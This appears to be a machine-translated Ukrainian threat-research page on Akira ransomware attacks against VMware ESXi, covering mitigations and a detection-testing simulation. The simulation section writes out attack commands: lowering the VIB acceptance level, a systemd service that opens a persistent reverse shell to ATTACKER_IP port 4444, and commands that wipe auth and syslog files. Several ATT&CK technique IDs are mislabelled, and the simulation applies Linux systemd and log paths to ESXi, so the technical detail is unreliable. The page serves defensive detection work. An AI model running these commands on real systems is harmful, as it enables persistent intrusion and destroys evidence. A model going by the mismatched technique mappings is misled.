SOC Prime Bias: Критичний

11 Dec 2025 18:11

Операційна система Ransomware спрямована на ESXi: Практичні Захисти та Захисти Віртуалізатора

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Операційна система Ransomware спрямована на ESXi: Практичні Захисти та Захисти Віртуалізатора
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Стаття описує зростаючий перехід в операціях з програмами-вимагачами на платформи гіпервізора, такі як VMware ESXi, для забезпечення масштабного шифрування віртуальних машин. Зловмисники спираються на вкрадені облікові дані адміністратора та вбудовані утиліти управління, щоб обійти традиційні методи захисту кінцевих точок. Основна загроза, що розглядається – це група вимагачів Akira. Обговорення зосереджене на важливості надійного зміцнення на рівні гіпервізора.

Розслідування

Дані по випадках Huntress з 2025 року вказують на різке зростання програм-вимагачів, орієнтованих на гіпервізор, з 3% до 25% з випадків, що спостерігаються. Слідчі задокументували зловживання інструментами управління Hyper-V та ESXi, повторне використання облікових даних в різних середовищах та експлуатацію CVE-2024-37085 для отримання адміністративного контролю. Аналіз відзначає, що зловмисники часто вмикають SSH, вимикають режим блокування та змінюють політики прийняття VIB перед тим, як завантажити шкідливі програми.

Пом’якшення загроз

Ключові кроки для запобігання включають впровадження MFA, використання спеціальних локальних облікових записів ESXi, сегментацію та ізоляцію мереж управління, розгортання захисних хостів, застосування доступу з мінімальними привілеями та увімкнення VMkernel.Boot.execInstalledOnly. Організації також повинні виправити відомі вразливості, такі як CVE-2024-37085, та вимкнути непотрібні служби, як SLP, для зменшення поверхні атаки гіпервізора.

Відповідь

При виявленні, організації повинні передавати журнали ESXi до SIEM, повідомляти про підозрілі зміни конфігурації, ізолювати скомпрометовані хости та починати відновлення з незмінних резервних копій або знімків. Процедури реагування на інциденти повинні включати форензичне збирання журналів автентифікації, журналів hostd і модифікацій VIB, з подальшим швидким відновленням уражених віртуальних машин.

Перебіг атаки

Ми ще оновлюємо цю частину. Підпишіться, щоб отримати сповіщення

Повідомити мене

Виконання симуляції

Передумови: Перевірка телеметрії та базової лінії повинна бути пройдена.

Обгрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для запуску правила детекції. Команди та оповідання МАЮТЬ напряму відображати ідентифіковані TTPs і прагнути генерувати точну телеметрію, очікувану логікою детекції. Абстрактні або невідповідні приклади приведуть до неправильної діагностики.

  • Опис атаки та команди:

    1. Початковий доступ (T1563.001 – SSH):
      Атакуючий використовує вкрадені облікові дані root для відкриття сесії SSH на хості ESXi, генеруючи подію “новий вхід root”.

    2. Загартування привілеїв (T1553.004 – Зміна прийняття VIB):
      Після входу в систему, атакуючий знижує рівень прийняття VIB для завантаження непідписаних модулів:

      esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"
    3. Стійкий засіб через увімкнення служби (T1569):
      Атакуючий створює зловмисну службу systemd, яка запускає зворотний shell при завантаженні, та увімкне її:

      cat <<'EOF' > /etc/systemd/system/malicious-revshell.service
      [Unit]
      Description=Malicious Reverse Shell
      
      [Service]
      ExecStart=/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done'
      
      [Install]
      WantedBy=multi-user.target
      EOF
      
      systemctl daemon-reload
      systemctl enable malicious-revshell.service
      systemctl start malicious-revshell.service
    4. Приховування зачистки (T1070 / T1070.001):
      Атакуючий очищає журнали аудиту хоста ESXi, щоб приховати активність, намагаючись уникнути виявлення:

      > /var/log/auth.log
      > /var/log/syslog
    5. Запуск правила:
      Для забезпечення запуску правила Sigma, атакуючий також емулює рядки EventID за допомогою утиліти logger (які імітують незахищений “новий вхід root”, “увімкнення служби” і “зміну прийняття VIB”, що відстежує правило).

  • Сценарій регресійного тесту:

    #!/usr/bin/env bash
    #
    # Симуляція точної телеметрії, очікуваної правилом Sigma.
    # Цей сценарій запускається на хості ESXi (або будь-якому Linux-хості, який передає журнали до SIEM).
    
    set -euo pipefail
    
    echo "[*] Імітація несанкціонованої події входу root"
    logger -p authpriv.notice "new root login"
    
    echo "[*] Імітація події увімкнення служби"
    logger -p authpriv.notice "service enablement"
    
    echo "[*] Імітація зміни рівня прийняття VIB"
    logger -p authpriv.notice "VIB acceptance change"
    
    # Опціонально: Виконайте реальні зловмисні дії для глибшої перевірки (закоментовано для безпеки)
    # esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"
    # systemctl enable malicious-revshell.service
    # systemctl start malicious-revshell.service
    
    echo "[+] Симуляція завершена. Підтвердіть сповіщення у SIEM."
  • Команди зачистки:

    # Видалення змодельованих записів журналів (якщо SIEM їх зберігає)
    logger -p authpriv.notice "cleanup: removing test EventIDs"
    
    # Зупинка та вимкнення зловмисної служби (якщо вона дійсно була створена)
    systemctl stop malicious-revshell.service || true
    systemctl disable malicious-revshell.service || true
    rm -f /etc/systemd/system/malicious-revshell.service
    systemctl daemon-reload
    
    # Відновлення оригінальних файлів журналів (якщо вони були очищені)
    # Примітка: У реальному середовищі варто відновлювати з резервної копії.
    echo "[*] Файли журналів відновлені з резервної копії (ручний крок)."